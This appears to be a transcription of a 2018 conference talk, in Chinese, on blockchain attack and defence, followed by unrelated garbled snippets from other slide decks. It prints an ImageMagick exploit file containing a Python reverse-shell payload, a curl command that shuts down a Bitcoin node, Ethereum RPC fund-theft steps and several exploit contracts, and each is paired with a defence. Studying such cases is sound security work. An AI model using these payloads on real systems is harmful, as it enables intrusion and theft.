区块链亡灵军团
|
|
- 决略 龙
- 5 years ago
- Views:
Transcription
1 HITCON Pacific 2018
2 区块链亡灵军团 Undead Armies of Blockchain 慢雾科技
3 关于 慢雾科技 (SlowMist) 专注区块链 生态安全 & 演讲者 余弦, 慢雾科技联合创始 人 Thinking, 慢雾科技安全研究员 致谢 慢雾安全团队及慢雾的伙伴们
4 目录 引 子 DApp 安全攻防 链下攻防 RPC/P2P 攻击 链上攻防 未来 ls -l /
5 引 子
6 比特币 6P Public Key + BIP38 Passphrase Private Key
7 中本聪
8 阿桑奇
9 中本聪
10 信仰来源 数学之美 : 基于成熟的密码学与算法 Merkle Tree 经济之美 : UTXO(Unspent Transaction Output) 共识算法 POW(Proof of Work)
11 Merkle Tree 父区块 父区块哈希 + 版本 + 时间戳 + 难度 + 随机数 子区块 From Mastering Bitcoin
12 UTXO Jack Jack 转账 Tom 找零
13 共识算法 POW Proof of Work( 工作量量证明 ) 有难度的记账 -> 概率与统计学游戏 -> 消耗电 力力 Hash( 上 一个 Hash 值, 交易易记录集, 随机数 ) = ad2b2e5 有难度的记账 -> 有奖励 ->12.5 枚 比特币以此共识算法来解决拜占庭将军问题
14 算 力力战争
15 门罗的世界 匿匿名基于 CryptoNote 挖矿 CPU 算 力力友好
16 门罗的世界
17 智能合约 相 比 比特币的 非图灵完备脚本, 出现了了图灵完备的合约 以太坊 (Ethereum/ETH) EVM Solidity 柚 子 (EOS): WebAssembly(Wasm) C++
18 影 子经纪 人
19 严重缺乏安全感的三 大原因 1. 区块链 生态 自带 金金融属性 2. 缺乏国家背书 3. 被攻击后, 普遍溯源很难 这些导致亡灵军团的肆虐, 代码即法律律 成为发起盗币的借 口
20 DApp 安全攻防
21
22 DApp 安全攻防 子 目录 链下攻防 RPC/P2P 攻防 链上攻防
23 链下攻防 举 几个经典例例 子
24 中间 人劫持 MyEtherWallet DNS 劫持事件
25
26 防御 不不仅是 HTTPS, 还需要 HSTS HTTP Strict Transport Security
27 第三 方组件 ImageMagick 漏漏洞洞 issues/detail?id=1640 许多平台的图 片上传后处理理机制都 用到了了 ImageMagick
28 ImageMagick 漏漏洞洞 shellexec.jpeg %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream); s.connect((" ",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops
29 漏漏洞洞触发 convert shellexec.jpeg whatever.gif sh -c python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.s OCK_STREAM);s.connect((" ",2333));os.dup2(s.file no(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([ /bin/sh","-i"]);'
30 攻击过程 通过恶意构造的图 片拿到服务器器反弹后 门 上传代理理到服务器器 长期控制服务器器 拿到服务器器配置 文件中的数据库账号权限 拖 走数据库相关数据, 了了解数据库相关表结构 操作数据库凭空 生成账号余额 进 行行交易易然后提现完成攻击 删除数据库操作订单和账号数据 ( 导致交易易所对账 无法发现异常 ) 持续潜伏盗币
31 防御 1. 上层应 用严格校验上传输 入的图 片类型 2. ImageMagick 通过配置 文件做相关禁 用 修改 ImageMagick 的 policy 文件, 默认位置为 /etc/imagemagick/policy.xml, 在 <policymap> 中加 入以下 <policy>( 即禁 用 PS EPS PDF XPS coders) <policymap> <policy domain="coder" rights="none" pattern="ps" /> <policy domain="coder" rights="none" pattern="eps" /> <policy domain="coder" rights="none" pattern="pdf" /> <policy domain="coder" rights="none" pattern="xps" /> </policymap>
32 XSS TradingView XSS 也是第三 方组件 K 线 几乎都 用这个
33 TradingView XSS
34 DOM XSS 漏漏洞洞利利 用 dfeatures=[]&indicatorsfile= 漏漏洞洞位置 D? $.getscript(urlparams.indicatorsfile).done(function () {});
35 防御 简单粗暴暴 : 删掉 indicatorsfile 就好, 基本不不 用
36 私钥存储 私钥即身份 杜绝明 文私钥的存储与 非安全传输 密码保护 BIP38 Keystore 硬件层 面的安全保护 KMS(Key Management Service) HSM 示例例 : 示例例 :
37 RPC/P2P 攻击 比特币 / 以太坊 /EOS
38 Stop Bitcoin Node 以为私钥与节点分离就 足够安全, 实际上还可以拒绝服务 (DoS): curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"stop","params":[]}' -H 'content-type:text/plain;'
39 防御 Nginx 大法 : 前 面加 一层 Nginx 反向代理理 IP 替换为域名 HTTP 替换为 HTTPS 用户名密码隐藏 白名单 大法 : 白名单 API 接 口
40 以太坊 黑 色情 人节 一种基于以太坊 RPC 的 自动化盗币 大 工程 一个潜伏两年年之久针对以太坊的攻击 大事件 , 第 一次攻击发 生 , 由慢雾安全团队全球 首次披露露
41
42 可被攻击的以太坊节点全球分布
43 攻击关键 unlockaccount 私钥在内存中保存的时间, 默认是 300 秒如果设置为 0, 则表示永久存留留在内存, 直 至 Geth/Parity 退出 Client Console RPC Method invocation personal.unlockaccount(address, passphrase, duration) {"method": "personal_unlockaccount", "params": [string, string, number]} APIs#personal_unlockaccount
44 攻击关键 unlockaccount 用户在带私钥的节点上进 行行解锁钱包操作, 准备转账 > personal.unlockaccount("0x5e97870f263700f46aa00d b9bc5a120") Unlock account 0x5e97870f263700f46aa00d b9bc5a120 Passphrase: true > personal.unlockaccount("0x5e97870f263700f46aa00d b9bc5a120", "foo", 300) true
45 攻击关键 eth_sendtransaction 攻击者远程调 用以太坊节点 RPC API, 进 行行转账操作 curl -X POST --data '{"jsonrpc":"2.0","method":"eth_sendtransaction","params": [{see below}],"id":1}' params: [{ "from": "0x5e97870f263700f46aa00d b9bc5a120", "to": "0xd46e8dd67c5d32be8058bb8eb970870f ", "gas": "0x76c0", // "gasprice": "0x9184e72a000", // "value": "0x9184e72a", // "nonce":"0x15", // 21 }]
46 攻击关键 eth_sendtransaction params: [{ "from": "0x5e97870f263700f46aa00d b9bc5a120", "to": "0xd46e8dd67c5d32be8058bb8eb970870f ", "gas": "0x76c0", // "gasprice": "0x9184e72a000", // "value": "0x9184e72a", // "nonce":"0x15", // 21 }] "nonce":"0x15 1. 递增 : 从 0 开始每 一笔交易易加 1 2. 只和当前钱包有关 3. nonce 过 大时, 只需等待 小于这个过 大 nonce 的所有 nonce 都使 用完即可 4. 节点程序 (Geth/Parity) 重启会重置 nonce
47 攻击关键 其他相关 API eth_getblockbynumber eth_accounts eth_getbalance eth_sign eth_sendrawtransaction
48 攻击 工程 找出全球开了了 RPC 的以太坊节点 方式 一 :8545/8546 端 口 :ZMap/MASSCAN 方式 二 :P2P 协议扩展 相关 RPC API 自动化轮询 当碰上节点 用户对 自 己的钱包执 行行unlockAccount 时, 立 马转 走 还有其他什什么攻击 方式?
49 攻击 工程 高级技巧 当碰上节点 用户对 自 己的钱包执 行行 unlockaccount 时, 立 马递增 nonce 做 一堆合法转账签名 即使节点之后关闭 RPC 接 口, 也可以 : 一旦 nonce 满 足条件 立 马完成转账操作 可以继续脑洞洞...
50 防御 除了了 Nginx 大法之外, 还可以... 更更改默认的 RPC API 端 口及监听地址为内 网 配置 iptables 限制对 RPC API 端 口的访问, 如 iptables -A INPUT -s p TCP --dport j ACCEPT iptables -A INPUT -p TCP --dport j DROP 账户私钥 文件 (keystore) 不不要存放在节点上 使 用sendRawTransaction 发送私钥签名过的转账记录 私钥物理理隔离或者 高强度加密存储并保障密钥的安全
51 EOS Scatter 远程权限劫持漏漏洞洞 也和 RPC 有关
52 漏漏洞洞剖析 关键点 : 删除了了这 行行 if 判断 漏漏洞洞触发点
53 漏漏洞洞剖析 if(request.data.hasownproperty('appkey')){ 请求只要不不带 appkey 就好 直接进 入 socket.emit('api', await ApiService.handler(Object.assign(request.data, {plugin:request.plugin})));
54 漏漏洞洞剖析 static async handler(request){ const action = Action.fromJson(request); // Only accept pre-defined messages. if(!object.keys(actions).map(key => Actions[key]).includes(request.type)) return; } return await this[request.type](request);
55 漏漏洞洞剖析 request.type
56 port 50005, socket.io
57 调试 调试 socket.io 可以 用 socket.io tester
58 攻击关键 结合源码进 行行 PoC 构造 7c62978c479eb8e617a7e41eb95a0a0d6fb17cd1/packages/core/src/index.js { } "data": { } "type": "getversion"
59 攻击关键 { "data": { createtransaction "type": "createtransaction", "payload": { "blockchain": "eos", "account": "aaaaaaaaaaaa", "network": { "blockchain": "eos", "host": "api1.eosasia.one", "port": 443, "protocol": "https", "chainid": "aca376f206b8fc25a6ed44dbdc66547c36c6c33e3a119ffbeaef943642f0e906" }, "actions": [{ "contract": "eosio.token", "action": "transfer", "params": ["zzzzzzzzzzzz", "eosio", "0.002 EOS", "x"], }] } }
60 攻击关键 基于 socket.io 的通信, 可以参考在线版本 结合 CSRF 可以让攻击趋于完美
61 防御 升级最新的 Scatter 就好 大量量数字资产冷存储是 非常有必要的
62 更更多 EOS 超级节点安全执 行行指南 EOS 超级节点安全审计 方案
63 链上攻防 区块链安全攻防对抗最激烈烈的地 方 子 子 目录 假充值攻防 以太坊智能合约攻防 EOS智能合约攻防 -
64 假充值攻防 一种针对数字货币相关平台的业务 风控有关的新型攻击 方式
65 USDT 假充值 交易易所在进 行行 USDT 充值交易易确认是否成功 的判断存在逻辑缺陷, 未校验区块链上交易易详情中 valid 字段值是否为 true
66 交易易记录 { "amount": " ", "block": ,... "referenceaddress": "12j8jFDK65Uy72SD8U6HWGG8wU88V13twV", "sendingaddress": "16k5MgZHm2yxiKzrdeaY2vmn13xSSu5xg6", "txid": "4469d1df053c811cd6e26ed0a4e3f9ce448118c454ea9e08ee20a2950ef2077e", "type": "Simple Send", "type_int": 0, "valid": false, "version": 0 }
67 防御 深刻理理解 USDT 的机制与交易易细节... USDT 官 方也需要给出 足够引起重视的安全开发引导
68 以太坊代币假充值 类似 USDT 假充值, 但 又有 自 己的特点 错误写法 正确写法
69
70 防御 合约层 错误即抛出异常回滚 requeire if/else + revert/throw 平台层 严格校验对接的合约是否有不不严谨的实现 严格基于 Event 事件进 行行判断, 但要警惕 Event 作恶
71 更更多 XRP Partial Payments 门罗币 (Monero) A bug in the Monero wallet balance can enable theft from exchanges A Post Mortem of The Burning Bug
72 以太坊智能合约攻防 第 一个图灵完备的智能合约的攻防博弈世界
73 BEC 溢出 0xc5d105e af9bbff092d4b6769c82f793d#code 溢出点 :unit256(cnt) * _value
74 溢出细节 uint256 amount = uint256(cnt) * _value; unit256( 范围 :0 到 2**256-1) 也就是 0 到 : 溢出后从 0 开始计算 被攻击导致 amount 为 0, 攻击成功
75 几个有趣的点 有 SafeMath 机制, 但唯独被溢出的这 行行代码没 用 uint256 amount = uint256(cnt) * _value; uint256 amount = uint256(cnt).mul(_value); 有 风控机制 whennotpaused 被攻击后, 立刻暂停合约 BEC 溢出事件真正打开了了智能合约潘多拉魔盒
76 transferfrom 权限漏漏洞洞 EDU BAI 等
77 攻击关键 // 批准转账上限 ( 批准 目标可以代我转账的上限 ) function approve(address _spender, uint256 _value) public returns (bool success) { } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
78 攻击关键 // 代我转账的流程 function transferfrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to!= 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint previousbalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; 溢出不不会导致回滚 Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousbalances); return true; }
79 防御 transferfrom 需要增加判断 : require(allowed[_from][msg.sender] >= _value);
80 算术精度问题 if (price > 0) { uint256 _fee = (price/1000).mul(feepercnt) ; // feepercnt < 100 uint256 _price = price.sub(_fee); feepool.transfer(_fee); _seller.transfer(_price); }
81 攻击关键 Solidity 没有浮点型, 运算结果只保留留整数部分 uint256 _fee = (price/1000).mul(feepercnt); 先除后乘, 因为精度问题, 导致结果会放 大误差
82 防御 先计算乘法再计算除法
83 类型转换问题 contract Demo { function currentprice(uint256 endingprice, uint256 startingprice, int256 totaltimes, int256 changetimes) view returns(uint256){ require(changetimes < totaltimes); int256 pertimeschange = (int256(endingprice) - int256(startingprice)) / totaltimes; return uint256(int256(startingprice) + changetimes * pertimeschange); } } function luckytest1(uint256 _value) view returns(uint256){ return uint256(int256(_value)); } function luckytest2(uint256 _value) view returns(int256){ return int256(_value); }
84 攻击关键 当 startingprice > endingprice 是降价拍卖 当 startingprice = endingprice 是定价拍卖 当 startingprice < endingprice 是升价拍卖 uint256 转成 int256 结果会变成负数 最终返回的结果没有和 startingprice 进 行行 比较判断
85 攻击过程 假设 startingprice 的值为 1000 那么 changetime * pertimeschange 的值要为 假设 changetime 的值为 200 那么 pertimeschange 的值为 -5 totaltime 的值为 500 (int256(endingprice) - int256(startingprice)) = -5 * totaltime endingprice = 对应的 uint256 值是
86 攻击过程 endingprice: startingprice: 1000 totaltimes: 500 changetimes: 200
87 防御 尽可能减少类型转换的使 用, 特别是 uint 和 int 之间相互转换, 类型相同但是表示范围不不同之间的转换也要注意 类型转换之后要进 行行检测操作, 确保结果与预期的 一致
88 变量量覆盖 未初始化的存储指针 数组 长度溢出 数组 长度及索引可控 Mapping
89 未初始化的存储指针 function editperson(address _address, string _name, uint256 _account) public payable { if(msg.value < 1 ether){ Person storage p = Persons[_account]; p.personaddress = _address; p.value = msg.value; p.name = _name; p.isrich = false; } else{ p.personaddress = _address; p.value = msg.value; p.name = _name; p.isrich = true; } }
90 攻击关键 Struct 是 Storage 类型的 声明后没有进 行行初始化操作时, 默认指向 slot 0 的位置
91 攻击过程
92 数组 长度溢出 function settokenidbyindex(uint256 _index, uint256 _tokenid) public storageaccesscontrol{ tokenids[_index] = _tokenid; // 数组的索引及对应的元素可以控制 } function pushtokenid(uint256 _tokenid) public storageaccesscontrol returns (uint256) { tokenids.push(_tokenid); return tokenids.length; } function decrementtokenidslength() public storageaccesscontrol { tokenids.length--; // 没有对数组的 长度进 行行判断, 当 长度为 0 进 行行 自减操作时, 产 生下溢
93 数组 长度溢出 address public owner; address public manageraddress; uint256[] public tokenids; modifier storageaccesscontrol() { require(msg.sender == owner msg.sender == manageraddress); _; } function setowner(address _newowner) external onlyowner { require(_newowner!= address(0)); owner = _newowner; } function setmanager(address _newmanager) external onlyowner { require(_newmanager!= address(0)); manageraddress = _newmanager; }
94 攻击关键 数组是 Storage 类型 数组的 index 对应元素的 key_slot = sha3(array_slot) + offset Storage 最 大只有 2**256 个 slot(0 到 2**256-1) slot 溢出之后可以覆盖相应位置的数据
95 攻击关键 执 行行 settokenidbyindex owner 的值
96 攻击关键
97 攻击过程 操作 decrementtokenidslength 方法会执 行行 tokenids.length-- 操作 settokenidbyindex 方法会执 行行 tokenids[_index] = _tokenid
98 攻击过程 获取储存地址 : web3.sha3("0x ", { encoding: 'hex' }) 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace hex(2**256-0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace + 0) 0xbfa87805ed57dc1f0d489ce33be4c4577d74ccde357eeeee058a32c55c44a532
99 攻击过程 执 行行 settokenidbyindex owner 的值被改变
100 攻击过程
101 数组 长度及索引可控 同理理当数组 长度及索引可控的时候也有存在变量量覆盖问题 function guess(uint256 x, uint256 blocknum) public payable {... require(blocknum > block.number); if(token.allowance(msg.sender, address(this)) > 0){ token.safetransferfrom(msg.sender, address(this), 1*(10**18)); } if (map.length <= uint256(msg.sender) + x) { map.length = uint256(msg.sender) + x + 1; } map[uint256(msg.sender) + x] = blocknum; }
102 防御 Struct, Array, Mapping 这些类型的变量量在函数中默认是 Storage 类型, 在声明变量量后要进 行行初始化操作 在进 行行数组 length-- 操作的时候, 检查 长度要 >0 在 用户可以控制的数组 长度及索引位置, 添加最 大值限制或检查
103 设计 / 业务逻辑错误 address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { } require(msg.value >= prize msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value;
104 攻击关键 没有判断 msg.sender 是否是普通账号, 攻击者通过构造攻击合约参加游戏, 造成拒绝服务攻击 攻击合约向 目标地址发起事务且 msg.value > prize, 成为 king 攻击合约没有 fallback 函数或者 fallback 函数拒绝接收 ETH, 导致其他 用户 无法参加游戏
105 攻击 Exploit contract attack{ function goattack(address _add) public payable { } _add.call.value(msg.value)(); } function () payable { } revert();
106 修复 方法? function iscontract(address account) internal view returns (bool) { } uint256 size; assembly {size := extcodesize(account)} return size > 0; function() external payable { } require(msg.value >= prize msg.sender == owner); require(!iscontract(msg.sender)); king.transfer(msg.value); king = msg.sender; prize = msg.value;
107 但是 "iscontract" 可以被绕过 contract attack{ // 在合约构造中 extcodesize(account) 的值为 0 // 所以在构造 方法中写 入攻击代码可以绕过 function attack(address _add) public payable { _add.call.value(msg.value)(); } } function () payable { revert(); }
108 怎么修复? 合理理使 用 tx.origin function ishuman(address account) internal view returns (bool) { uint256 size; require(msg.sender == tx.origin); assembly {size := extcodesize(account)} return size == 0; } function() external payable { require(msg.value >= prize msg.sender == owner); require(ishuman(msg.sender)); king.transfer(msg.value); king = msg.sender; prize = msg.value; }
109 ETH DApp Exploit God.Game被攻击事件
110 漏漏洞洞关键 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d#code function dividendsof(address _customeraddress) view public returns (uint256){ return (uint256) ((int256)(profitpershare_ * tokenbalanceledger_[_customeraddress]) - payoutsto_[_customeraddress]) / magnitude; } 减法溢出
111 复现 Exploit interface God { modifier onlyprofitsholders() { require(mydividends(true) > 0); _; } modifier onlytokenholders() { require(mytokens() > 0); _; } function mytokens() public view returns (uint256); function transfer(address _toaddress, uint256 _amountoftokens) public returns (bool); function withdraw() onlyprofitsholders() public; function mydividends(bool _includereferralbonus) public view returns (uint256); function sell(uint256 _amountoftokens) onlytokenholders() public; function reinvest() onlyprofitsholders() public; }
112 复现 Exploit contract Ack { function tokenfallback(address _from, uint _amountoftokens, bytes _data) public returns (bool) { return true; } address public god_add = 0xada045bf af21e7d00dcbeaa695872a; God god = God(god_add); function transfer(address _toaddress, uint256 _amountoftokens) public returns (bool) { god.transfer(_toaddress, _amountoftokens); }...
113 复现 Exploit }... function withdraw() payable public { god.withdraw(); } function reinvest() payable public { } god.reinvest(); function() payable public{} function sell(uint256 _amountoftokens) payable public { god.sell(_amountoftokens); }
114 更更多 慢雾安全团队知识库
115 EOS 智能合约攻防 虽然也是图灵完备的智能合约, 但 几乎独 立的攻防博弈新世界
116 EOS 合约第 一个溢出攻击 EOS 智能合约底层 asset 类存在溢出缺陷
117 溢出本质 EOS 智能合约官 方 asset 类存在溢出缺陷 官 方 api 中 asset 结构体的乘法运算溢出漏漏洞洞描述.html
118 溢出本质 EOS 智能合约官 方 asset 类存在溢出缺陷 Fix for asset overflows in eosiolib for parity with the WASM SDK (#5092)
119 防御 用好官 方的 asset 类, 不不要 自 己去实现 #include <eosiolib/asset.hpp> asset quantity 用好 uint 和 int
120 随机数安全 拿 EOS 合约来举例例 随机数 生成算法引 入了了可控或者可预测的种 子
121 随机数安全
122 防御 EOS 链上不不能 生成真随机数 Randomization in Contracts
123 新型回滚攻击 目标合约在收到转账通知的同时 生成随机数 目标合约将随机数保存在表中 攻击合约通过跨合约查表 方式获取数据 攻击合约通过获取到的数据决定是否回滚
124 复现 Exploit 通过查看 ABI 可复原表结构 // 复原表结构 struct game_info { uint64_t id; account_name player; eosio::asset amount; eosio::asset bonus; uint8_t bet_type; uint8_t bet_number; uint8_t bet_result; checksum160 user_seed_hash; uint64_t created_at; uint64_t primary_key() const { return id; } }; typedef eosio::multi_index<n(games), game_info> game_info_index;
125 复现 Exploit // 查询是否中奖 void query(){ game_info_index _checktable(n(imeoswinner1), N(imeoswinner1)); } auto iter = _checktable.rbegin(); if(iter->player!= _self iter->bet_result >= 50){ } // 下注 eosio_assert( false, "roll back" ); void init(account_name to, asset quantity, std::string memo) { } require_auth(_self); SEND_INLINE_ACTION( eosio::token(n(eosio.token)), transfer, {_self, N(active)}, {_self, to, quantity, memo} ); SEND_INLINE_ACTION( *this, query, {_self, N(active)}, std::make_tuple() );
126 防御 使 用 defer action 延迟执 行行 生成随机数
127 更更多 EOS 智能合约最佳安全开发指南 狼 人游戏 EOSBet EOSDice 等 十 八个安全漏漏洞洞事件始末
128
129 未来
130 公链 生态 当我们谈区块链时, 我们谈的是公链 支付与结算 竞技类 DApp( 剧烈烈发展中 ) 身份 基础设施 : 交易易所 钱包 节点 ( 超级节点 矿池等 )
131 安全 生态 随着公链的发展会越来越精细 基础设施安全 DApp 安全 面向 C 端的安全 区块链威胁情报 (BTI) 链上链下的情报共享与威胁治理理会更更加迫切与完善 比起传统攻击者转型, 新型攻击者更更容易易从公链相关开发者诞 生
132 隐私 自由与安全 公链的进化会诞 生真正的隐私 自由与安全的群体 公链的进化会逐渐诞 生新型作恶群体 公链的进化会解决国家 种族 群体之间的某些信任边界...
133 Q&A
区块链安全的至暗时刻
https://www.noneage.com 区块链安全的 至暗时刻 邓永凯 @ 零时科技 1 区块链安全现状 140 区块链安全事件趋势图 138 105 70 35 15 9 3 4 3 6 8 0 2011 2012 2013 2014 2015 2016 2017 2018 区块链安全经济损失图 300000 263,812 225000 150000 75000 63,428 46,568
More information以太坊钱包开发
以太坊钱包开发 熊丽兵 (Tiny 熊 ) 我 熊丽兵 Tiny熊 深 入浅出区块链 learnblockchain.cn 精通以太坊智能合约开发 作者 登链学院创始 人 电 子 工业出版社 Demo https://gitee.com/xilibi2003/ethwebwallet 大纲 钱包账号 地址 私钥 钱包账号管理理 以太转账 ERC20 Token 转账 Ethers.js 库 ( 数字
More informationPowerPoint 演示文稿
The BitCoin Scripting Language 交易实例 交易结构 "result": { "txid": "921a dd24", "hash": "921a dd24", "version": 1, "size": 226, "locktime": 0, "vin": [ ], "vout": [ ], "blockhash": "0000000000000000002c510d
More informationQ2-CN NL
中国独家联合发布 Dapp.com 去中 心化应 用市场报告 219 年年第 二季度 报告说明 本报告包含 219 年年第 二季度中开发在以太坊 EOS 波场 Steem TomoChain 以及 IOST 上的去中 心化应 用的市场洞洞察 在 219 年年 6 月 3 日晚 11:59( 美国东部时间 ) 后提交到 Dapp.com 或被审核上架的 dapp 未包含在本报告中 有部分的应 用提交到
More informationSimulator By SunLingxi 2003
Simulator By SunLingxi sunlingxi@sina.com 2003 windows 2000 Tornado ping ping 1. Tornado Full Simulator...3 2....3 3. ping...6 4. Tornado Simulator BSP...6 5. VxWorks simpc...7 6. simulator...7 7. simulator
More information以太坊开发实战 公开
蔡一@志顶科技 目录 什么是以太坊以太坊历史以太坊钱包及使用 Solidity 智能合约开发以太坊 DApp 开发实战案例分享及演示 2018/1/21 2 什么是以太坊 史上第一台 世界电脑, 任何人都可以使用的去中心化网络 可运行各种应用, 应用被称为 智能合约 不会受到设备当机 接收检查或被欺骗等的影响 以太坊拥有其本身的货币 以太币 用户通过支付以太币来使用去中心化网络以执行所需完成的任务
More informationIntruduction to the NGINX stream subsystem and OpenResty's support
NGINX stream 子系统的简介 以及 OpenResty 对其的 支持 孙 大同 (@dndx) OpenResty Con 2017 北北京 2017 年年 10 月 21 日 关于我 90 后 曾在 LinkedIn,Cloudflare 等公司 工作 OpenResty Inc. 技术合伙 人 热爱钻研底层技术以及折腾 飞 行行爱好者 拥有固定翼私 人 飞 行行执照, 仪表 飞 行行资质以及
More information红 在 这 个 系 统 中, 功 能 和 正 直 的 受 托 人 们 一 并 运 行, 不 会 有 任 意 一 个 中 心 化 实 体 能 够 从 系 统 所 得 中 获 得 好 处 PLS 的 作 用 不 仅 限 于 兑 换 游 戏 币, 其 本 身 也 可 以 作 为 投 资 资 产 目 的 玩
去 中 心 化 点 对 点 游 戏 资 产 平 台, 可 运 用 智 能 合 约 整 合 中 心 化 游 戏 和 预 测 市 场 hackfisher@gmail.com 2014 08 04 翻 译 : 浮 壹 白 Allen, 麥 克 貓,HeyD, HackFisher 1.0 介 绍 比 特 股 Play( 后 面 统 称 PLAY) 作 为 一 个 实 验 产 品, 它 将 展 示 和 验
More informationMASQUERADE # iptables -t nat -A POSTROUTING -s / o eth0 -j # sysctl net.ipv4.ip_forward=1 # iptables -P FORWARD DROP #
iptables 默认安全规则脚本 一 #nat 路由器 ( 一 ) 允许路由 # iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT ( 二 ) DNAT 与端口转发 1 启用 DNAT 转发 # iptables -t nat -A PREROUTING -p tcp -d 192.168.102.37 dprot 422 -j DNAT to-destination
More informationChapter #
第三章 TCP/IP 协议栈 本章目标 通过本章的学习, 您应该掌握以下内容 : 掌握 TCP/IP 分层模型 掌握 IP 协议原理 理解 OSI 和 TCP/IP 模型的区别和联系 TCP/IP 介绍 主机 主机 Internet TCP/IP 早期的协议族 全球范围 TCP/IP 协议栈 7 6 5 4 3 应用层表示层会话层传输层网络层 应用层 主机到主机层 Internet 层 2 1 数据链路层
More informationA API Application Programming Interface 见 应 用 程 序 编 程 接 口 ARP Address Resolution Protocol 地 址 解 析 协 议 为 IP 地 址 到 对 应 的 硬 件 地 址 之 间 提 供 动 态 映 射 阿 里 云 内
A API Application Programming Interface 见 应 用 程 序 编 程 接 口 ARP Address Resolution Protocol 地 址 解 析 协 议 为 IP 地 址 到 对 应 的 硬 件 地 址 之 间 提 供 动 态 映 射 阿 里 云 内 容 分 发 网 络 Alibaba Cloud Content Delivery Network 一
More informationWindows RTEMS 1 Danilliu MMI TCP/IP QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos eco
Windows RTEMS 1 Danilliu MMI TCP/IP 80486 QEMU i386 QEMU ARM POWERPC i386 IPC PC104 uc/os-ii uc/os MMI TCP/IP i386 PORT Linux ecos Linux ecos ecos ecos Email www.rtems.com RTEMS ecos RTEMS RTEMS Windows
More information財金資訊-80期.indd
IPv6 / LINE YouTube TCP/IP TCP (Transmission Control Protocol) IP (Internet Protocol) (node) (address) IPv4 168.95.1.1 IPv4 1981 RFC 791 --IP IPv4 32 2 32 42 IP (Internet Service Provider ISP) IP IP IPv4
More informationuntitled
1 Outline 數 料 數 數 列 亂數 練 數 數 數 來 數 數 來 數 料 利 料 來 數 A-Z a-z _ () 不 數 0-9 數 不 數 SCHOOL School school 數 讀 school_name schoolname 易 不 C# my name 7_eleven B&Q new C# (1) public protected private params override
More informationKubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7.
Kubernetes 包管理理 工具 Helm 蔺礼强 Kubenetes 系列列公开课 2 每周四晚 8 点档 1. Kubernetes 初探 2. 上 手 Kubernetes 3. Kubernetes 的资源调度 4. Kubernetes 的运 行行时 5. Kubernetes 的 网络管理理 6. Kubernetes 的存储管理理 7. Kubernetes
More informationESP-Jumpstart
2016-2019 2019 08 08 Contents 1 3 1.1 ESP32.............................. 3 1.2.................................................. 5 2 7 2.1............................................. 7 2.2 ESP-IDF............................................
More informationARP ICMP
ARP ICMP 2 9-1 ARP 9-2 ARP 9-3 ARP 9-4 ICMP 9-5 ICMP 9-6 ICMP 9-7 ICMP 3 ARP ICMP TCP / IP, IP ARP ICMP 3 IP, ARP ICMP IP ARP ICMP 2, 4 9-1 ARP, MAC, IP IP, MAC ARP Address Resolution Protocol, OSI ARP,,
More information实践课堂成都站-0609.key
青云 QingCloud 容器器及 Kubernetes 实践 王渊命 青云 QingCloud 容器器平台负责 人 当我们谈论容器器时我们在谈论什什么? 容器器的两个视 角 资源隔离 应 用封装 容器器 生态圈现状 容器器技术 一家独 大百花 齐放 Docker, Rocket, Mesos Universal container, LXC, Hyper Container 调度系统三 足鼎 立
More informationEJB-Programming-3.PDF
:, JBuilder EJB 2.x CMP EJB Relationships JBuilder EJB Test Client EJB EJB Seminar CMP Entity Beans Value Object Design Pattern J2EE Design Patterns Value Object Value Object Factory J2EE EJB Test Client
More informationCHAPTER 1
CHAPTER 1 1-1 System Development Life Cycle; SDLC SDLC Waterfall Model Shelly 1995 1. Preliminary Investigation 2. System Analysis 3. System Design 4. System Development 5. System Implementation and Evaluation
More information概述
OPC Version 1.6 build 0910 KOSRDK Knight OPC Server Rapid Development Toolkits Knight Workgroup, eehoo Technology 2002-9 OPC 1...4 2 API...5 2.1...5 2.2...5 2.2.1 KOS_Init...5 2.2.2 KOS_InitB...5 2.2.3
More informationMicrosoft Word - 第3章.doc
Java C++ Pascal C# C# if if if for while do while foreach while do while C# 3.1.1 ; 3-1 ischeck Test() While ischeck while static bool ischeck = true; public static void Test() while (ischeck) ; ischeck
More informationSL2511 SR Plus 操作手冊_單面.doc
IEEE 802.11b SL-2511 SR Plus SENAO INTERNATIONAL CO., LTD www.senao.com - 1 - - 2 - .5 1-1...5 1-2...6 1-3...6 1-4...7.9 2-1...9 2-2 IE...11 SL-2511 SR Plus....13 3-1...13 3-2...14 3-3...15 3-4...16-3
More information无类继承.key
无类继承 JavaScript 面向对象的根基 周爱 民 / aimingoo aiming@gmail.com https://aimingoo.github.io https://github.com/aimingoo rand = new Person("Rand McKinnon",... https://docs.oracle.com/cd/e19957-01/816-6408-10/object.htm#1193255
More informationMicrosoft Word - 01.DOC
